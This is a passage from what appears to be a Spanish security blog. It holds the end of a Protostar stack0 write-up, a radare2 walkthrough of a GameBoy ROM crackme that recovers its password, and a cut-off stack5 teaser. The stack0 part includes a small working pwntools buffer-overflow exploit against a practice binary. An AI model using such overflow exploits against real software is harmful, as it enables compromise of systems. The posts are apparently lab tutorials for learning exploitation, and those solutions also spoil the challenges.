aslr     false

Es decir, todas las protecciones anti-overflow se encuentran desactivadas. Los organizadores lo han hecho intencionadamente para que el lector aprenda las bases de esta clase de vulnerabilidades y pueda practicar el desarrollo de exploits comenzando por los casos más sencillos. Para el estudio de protecciones y técnicas de exploiting más avanzadas, exploit-exercises.com cuenta con la máquina Fusion, cuyos retos también resolveremos aquí y que serán de interés a los estudiantes más adelantados.

Seguimos:

[0x08048340]> iz
000 0x00000500 0x08048500  40  41 (.rodata) ascii you have changed the 'modified' variable
001 0x00000529 0x08048529  10  11 (.rodata) ascii Try again?

Aquí tenemos los strings good boy y bad boy respectivamente.

[0x08048340]> ii
[Imports]
   1 0x080482fc    WEAK  NOTYPE __gmon_start__
   2 0x0804830c  GLOBAL    FUNC gets
   3 0x0804831c  GLOBAL    FUNC __libc_start_main
   4 0x0804832c  GLOBAL    FUNC puts

El comando ii muestra las funciones importadas por el binario, nada fuera de lo normal:

[0x08048340]> afl
0x08048000   23 748  -> 749  segment.LOAD0
0x08048114   19 472          segment.INTERP
0x080482ec    1 12           fcn.080482ec
0x080482fc    1 6            loc.imp.__gmon_start
0x0804830c    1 6            sym.imp.gets
0x0804831c    1 6            sym.imp.__libc_start_main
0x0804832c    1 6            sym.imp.puts
0x08048340    1 33           sym._start
0x08048370    6 85           sym.__do_global_dtors_aux
0x080483d0    4 35           sym.frame_dummy
0x080483f4    4 65           main
0x08048440    1 5            sym.__libc_csu_fini
0x08048450    4 90           sym.__libc_csu_init
0x080484aa    1 4            sym.__i686.get_pc_thunk.bx
0x080484b0    4 42           sym.__do_global_ctors_aux
0x080484dc    1 28           sym._fini
0x080484f8    6 65           obj._fp_hw

Entre las funciones locales solo main() parece de interés. Procedemos con la fase de reversing:

[0x080483f4]> e asm.bytes=false
[0x080483f4]> s main
[0x080483f4]> pdf
/ (fcn) main 65
|   main ();
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x8048357)
|           0x080483f4      push ebp
|           0x080483f5      mov ebp, esp
|           0x080483f7      and esp, 0xfffffff0
|           0x080483fa      sub esp, 0x60                              ; '`'
|           0x080483fd      mov dword [local_5ch], 0
|           0x08048405      lea eax, [local_1ch]                       ; 0x1c ; 28
|           0x08048409      mov dword [esp], eax
|           0x0804840c      call sym.imp.gets                          ; char *gets(char *s)

Aquí la variable local local_5ch se establece a 0 y luego se llama a gets(), que almacenará los datos leidos desde stdin en el buffer local_1_ch. Es una buena constumbre renombrar las variables que vamos identificando para facilitar la comprensión de los listados de código:

[0x080483f4]> afvn local_5ch canary
[0x080483f4]> afvn local_1ch buffer
[0x080483f4]> pdf
...
...
|           0x08048411      mov eax, dword [canary]                       ; [0x5c:4]=-1 ; '\' ; 92
|           0x08048415      test eax, eax
|       ,=< 0x08048417      je 0x8048427
|       |   0x08048419      mov dword [esp], str.you_have_changed_the__modified__variable ; [0x8048500:4]=0x20756f79 ; "you have changed the 'modified' variable"
|       |   0x08048420      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x08048425      jmp 0x8048433

Aquí se comprueba si la recién renombrada variable canary es igual a 0, en caso afirmativo se muestra el mensaje de chico bueno, en caso contrario seguiría así:

|      |`-> 0x08048427      mov dword [esp], str.Try_again             ; [0x8048529:4]=0x20797254 ; "Try again?"
|      |    0x0804842e      call sym.imp.puts                          ; int puts(const char *s)
|      |    ; CODE XREF from main (0x8048425)
|      `--> 0x08048433      leave
\           0x08048434      ret

La vulnerabilidad salta a la vista, gets() no imponen ningún límite de tamaño en los introducidos por el usuario. Como la variable canary es contigua en memoria a buffer, si los datos recibidos por gets() desbordan la capacidad de buffer entonces sobreescribirán el canary cambiando su valor actual. Calcular la capacidad de buffer es realmente sencillo:

[0x080483f4]> ? 0x5c - 0x1c
hex     0x40
int32   64

Con lo cual, cualquier payload superior a 64 bytes sobreescribirá el canary y redirigirá el flujo del programa hacia la zona de chico bueno. La construcción de un exploit es casi trivial:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack0"

padding = "A"*64
canary  = 0xabad1dea

def exploit():
    payload = padding + p32(canary)
    p = process(context.binary.path)
    p.sendline(payload)
    print(p.recv())

if __name__ == "__main__":
    exploit()

La documentación de pwntools es extensa y contiene infinidad de ejemplos. Sugerimos al lector su estudio ya que aquí no nos detendremos demasiado en analizar línea por línea el significado de cada operación.

La estructura es sencilla: establecemos el contexto de la máquina a atacar y la ruta del binario vulnerable, luego abrimos el proceso, enviamos directamente el payload y leemos el resultado:

dpc@kernelinside:~/protostar/bin$ python exp_stack0.py 
[*] '/home/dpc/protostar/bin/stack0'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack0': pid 1577
[*] Process '/home/dpc/protostar/bin/stack0' stopped with exit code 41 (pid 1577)
you have changed the 'modified' variable

Pwned!

GameBoy ROM Reversing con radare2

Ahora que me declaro un enamorado de r2 (radare2), y que día a día intento mejorar mis habilidades con el mismo tanto en la faceta del análisis estático como en los enrevesados caminos del debugging, encontré por casualidad los desafíos (crackmes) presentados en la última r2con del 2017.

Entre ellos llamó especialmente mi atención lo que parecía ser un archivo ROM de la famosa consola GameBoy (aquí). Decídí probar suerte, comprobar si podía resolver este reto por mis propios medios, y averiguar cuán elevado había sido el nivel de la competición en esta convención que, tarde o temprano, se hará un nombre dentro de la historia de las CoN's.

El primer paso, por supuesto, es comprobar si efectivamente estamos tratando con un juego de la mencionada consola. Para ello debemos instalar un emulador capaz de cargar el archivo con extensión .gb. Después de instalar vba mediante apt en mi Linux box el resultado no fue el deseado, por lo que probé con otro famoso emulador llamado mednafen, también obtenido mediante el gestor de paquetes apt. En la imágen vemos el resultado de invocar mednafen ./simple.gb:

game boy rom con mednafen

La finalidad del juego es muy simple, descubrir cuál es la secuencia o password correcto. Con las teclas W y S modificamos los dígitos aumentándolos o disminuyéndolos. Con A y D nos desplazamos a izquierda y derecha entre las 5 posiciones del código. Probamos a introducir un valor arbitrario y pulsamos ENTER:

game boy rom con mednafen


Por los pelos... :)

Ya que de eso trata la competición, debemos hacer uso de radare2 para destripar el binario y analizar el algoritmo que genera la secuéncia de números correcta:

dpc@kernelinside:~$ r2 ./simple.gb
[0x00000100]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[ ] 
[Value from 0x00000000 to 0x00008000
aav: 0x00000000-0x00008000 in 0x0-0x8000
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000100]> iI
arch     gb
binsz    32768
bits     16
canary   false
crypto   false
endian   little
havecode true
linenum  false
lsyms    false
machine  Gameboy
nx       false
os       any
pic      false
relocs   false
static   true
stripped false
va       true

Efectivamente r2 identifica a simple.gb como una imágen de GameBoy y nos recuerda que estamos tratando con una arquitectura de 16 bits. En este momento, y antes de entrar a desensamblar el binario, convendría buscar alguna documentación sobre programación en assembler para el microprocesador de esta consola. Se trata de un subset del famoso Z80, y realmente los mnemónicos se pueden entender sin necesidad de referencia alguna.

A la tarea. Ya que contamos con el mensaje de chico malo "FAIL!", tratamos de localizarlo dentro del espacio de direcciones:

[0x00000000]> / FAIL!
Searching 5 bytes in [0x0-0x8000]
hits: 1
0x000002f3 hit20_0 .!fWIN!FAIL!6#66#6.

Esto se llama un dos por uno, ya tenemos chico bueno y chico malo. Otra opción era buscar todas las strings del binario:

[0x00000100]> izz
000 0x00000111 0x00000111   4  10 (rombank00) utf16le \f\rᄈ蠟 blocks=Basic Latin,Hangul Jamo,CJK Unified Ideographs
001 0x00000132 0x00000132   8   9 (rombank00) ascii 3>SIMPLE
...
010 0x000002ee 0x000002ee   4   5 (rombank00) ascii WIN!
011 0x000002f3 0x000002f3   5   6 (rombank00) ascii FAIL!
...
026 0x0000051e 0x0000051e  10  11 (rombank00) ascii 0123456789
...
090 0x0000107d 0x0000107d  16  17 (rombank00) ascii 0123456789ABCDEF
...
128 0x0000150e 0x0000150e   7   8 (rombank00) ascii \a\b\t\n\v\f\r
129 0x00001527 0x00001527  95  96 (rombank00) ascii  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
...

He recortado el listado por contener hasta 260 resultados casi todos irrelevantes. En todo caso ahora ya podemos preguntar a r2 quién hace referencia a nuestros mensajes. Las cross-references no funcionarán (es lo que tiene tratar con una plataforma marginal), pero nada nos impide buscar la dirección del string dentro del código ejecutable:

[0x00000100]> /x f302
Searching 2 bytes in [0x0-0x8000]
hits: 1
0x000002e5 hit0_0 f302

Una coincidencia. Desensamblamos la función que la contiene (con e asm.bytes=false dehabilitamos la impresión de opcodes para un resultado más legible):

[0x000002e5]> e asm.bytes=false
[0x000002e5]> pdf
/ (fcn) fcn.00000274 107
|   fcn.00000274 ();
|           ; var int local_2h @ sp+0x2
|           ; CALL XREF from hit0_0 (+0x22f)
|           0x00000274      ld hl, sp + 0x02
|           0x00000276      ld e, [hl]
|           0x00000277      inc hl
|           0x00000278      ld d, [hl]
|           0x00000279      ld hl, 0x0004
|           0x0000027c      add hl, de
|           0x0000027d      ld c, l
|           0x0000027e      ld b, h
|           0x0000027f      ld a, [bc]
|           0x00000280      ld c, a
|           0x00000281      cp 0x03
|       ,=< 0x00000283      jp nZ, 0x02e4
|      ,==< 0x00000286      jr 0x03
..
|     |||   ; CODE XREF from fcn.00000274 (0x286)
|     |`--> 0x0000028b      ld hl, sp + 0x02
|     | |   0x0000028d      ld c, [hl]
|     | |   0x0000028e      inc hl
|     | |   0x0000028f      ld b, [hl]
|     | |   0x00000290      inc bc
|     | |   0x00000291      inc bc
|     | |   0x00000292      ld a, [bc]
|     | |   0x00000293      ld c, a
|     | |   0x00000294      cp 0x07
|     |,==< 0x00000296      jp nZ, 0x02e4
|    ,====< 0x00000299      jr 0x03
..
|   |||||   ; CODE XREF from fcn.00000274 (0x299)
|   |`----> 0x0000029e      ld hl, sp + 0x02
|   | |||   0x000002a0      ld c, [hl]
|   | |||   0x000002a1      inc hl
|   | |||   0x000002a2      ld b, [hl]
|   | |||   0x000002a3      inc bc
|   | |||   0x000002a4      ld a, [bc]
|   | |||   0x000002a5      ld c, a
|   | |||   0x000002a6      cp 0x05
|   |,====< 0x000002a8      jp nZ, 0x02e4
|  ,======< 0x000002ab      jr 0x03
..
| |||||||   ; CODE XREF from fcn.00000274 (0x2ab)
| |`------> 0x000002b0      ld hl, sp + 0x02
| | |||||   0x000002b2      ld e, [hl]
| | |||||   0x000002b3      inc hl
| | |||||   0x000002b4      ld d, [hl]
| | |||||   0x000002b5      ld hl, 0x0003
| | |||||   0x000002b8      add hl, de
| | |||||   0x000002b9      ld c, l
| | |||||   0x000002ba      ld b, h
| | |||||   0x000002bb      ld a, [bc]
| | |||||   0x000002bc      ld c, a
| | |||||   0x000002bd      cp 0x01
| |,======< 0x000002bf      jp nZ, 0x02e4
| ========< 0x000002c2      jr 0x03
..
| |||||||   ; CODE XREF from fcn.00000274 (0x2c2)
| --------> 0x000002c7      ld hl, sp + 0x02
| |||||||   0x000002c9      ld c, [hl]
| |||||||   0x000002ca      inc hl
| |||||||   0x000002cb      ld b, [hl]
| |||||||   0x000002cc      ld a, [bc]
| |||||||   0x000002cd      ld c, a
| |||||||   0x000002ce      cp 0x09
| ========< 0x000002d0      jp nZ, 0x02e4
| ========< 0x000002d3      jr 0x03
..
| |||||||   ; CODE XREF from fcn.00000274 (0x2d3)
| --------> 0x000002d8      ld hl, 0x02ee
| |||||||   0x000002db      push hl
| |||||||   0x000002dc      call fcn.00000f66
| |||||||   0x000002df      add sp, 0x02
| ========< 0x000002e1      jp 0x02ed
| |||||||   ; XREFS: CODE 0x00000283  CODE 0x00000288  CODE 0x00000296  CODE 0x0000029b  
| |||||||   ; XREFS: CODE 0x000002a8  CODE 0x000002ad  CODE 0x000002bf  CODE 0x000002c4  
| |||||||   ; XREFS: CODE 0x000002d0  CODE 0x000002d5  
| ```````-> 0x000002e4  ~   ld hl, 0x02f3
|           ;-- hit0_0:
|           0x000002e5      di
|           0x000002e6      ld [bc], a
|           0x000002e7      push hl
|           0x000002e8      call fcn.00000f66
|           0x000002eb      add sp, 0x02
|           ; CODE XREF from fcn.00000274 (0x2e1)
\ --------> 0x000002ed      ret

Es en esta última parte del código donde la dirección 0x2f3 "FAIL!" es cargada en el registro hl, introducida en la pila mediante push hl y finalmente se llama a fcn.00000f66() quien imprimirá el mensaje por pantalla.

Un poco más arriba observamos una estructura de código idéntica pero que utiliza la dirección 0x2ee como argumento para fcn.00000f66().

[0x000002e5]> ps @ 0x2ee
WIN!

Pareque que estamos donde queríamos. Existen varias referencias que conducen a chico malo, entre ellas nos llaman la atención las siguientes:

0x00000281      cp 0x03
0x00000283      jp nZ, 0x02e4
...
0x00000294      cp 0x07
0x00000296      jp nZ, 0x02e4
...
0x000002a6      cp 0x05
0x000002a8      jp nZ, 0x02e4
...
0x000002bd      cp 0x01
0x000002bf      jp nZ, 0x02e4
...
0x000002ce      cp 0x09
0x000002d0      jp nZ, 0x02e4

Los dígitos 3, 7, 5, 1 y 9 son significativos desde luego, pero debemos estudiar la función desde el principio para descubrir en qué orden:

|   fcn.00000274 ();
|           ; var int local_2h @ sp+0x2
|           ; CALL XREF from hit0_0 (+0x22f)
|           0x00000274      ld hl, sp + 0x02
|           0x00000276      ld e, [hl]
|           0x00000277      inc hl
|           0x00000278      ld d, [hl]
|           0x00000279      ld hl, 0x0004
|           0x0000027c      add hl, de
|           0x0000027d      ld c, l
|           0x0000027e      ld b, h
|           0x0000027f      ld a, [bc]
|           0x00000280      ld c, a
|           0x00000281      cp 0x03
|       ,=< 0x00000283      jp nZ, 0x02e4
|      ,==< 0x00000286      jr 0x03

Recordamos que estamos trabajando con una arquitectura de 16 bits (word registers).

Mediante ld hl, sp+0x02 se carga en hl el argumento recibido por nuestra función (este fue pusheado anteriormente en la pila). Parece que tratamos con un puntero, pues a continuación se mueve al registro e el primer byte contenido en hl y en d el segundo byte de hl. La instrucción add añade 4 bytes a la dirección ahora contenida en de y el resultado se almacena de nuevo en hl. Esta dirección se descompone de nuevo en dos introduciendo el byte más significativo en b y el menos significativo en c. Finalmente, y en dos pasos, se mueve el valor contenido en [bc] al registro c y se compara con la constante 0x03.

Rápidamente nos damos cuenta que se trata más de un intento de ofuscación de código y no un algoritmo de cifrado o algo por el estilo. En pseudocódigo toda esta maraña de ensamblador se puede resumir en:

if (buffer[4] != 0x03)
    jmp chico_malo

El resto del código en fcn.00000274() es idéntico al fragmento que acabamos de estudiar salvo que en cada caso se calcula un índice distinto. Lo que dejamos como tarea para el lector (no le llevará más de medio minuto). Si asignamos los índices con las constantes a comparar obtenemos:

idx=4 -> 0x03
idx=2 -> 0x07
idx=1 -> 0x05
idx=3 -> 0x01
idx=0 -> 0x09

O lo que es igual:

if (buffer[4] != 0x03 || buffer[2] != 0x07 || buffer[1] != 0x05 || buffer[3] != 0x01 || buffer[0] != 0x09)
    print "FAIL!"
else
    print "WIN!"

Ordenamos los índices y obtenemos la secuencia "95713":

game boy rom con mednafen

Pwned!

Ha sido sencillo, instructivo y divertido al mismo tiempo. Como indica el propio nombre del binario, se trata de un desafío "simple" que sirve de calentamiento para aquellos que desconozcan esta clase de plataforma o código para consolas antiguas. Entre los demás crackmes los organizadores plantearon otro reto llamado harder.gb. Ya veremos si somos tan valientes de lanzarnos a la aventura...

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...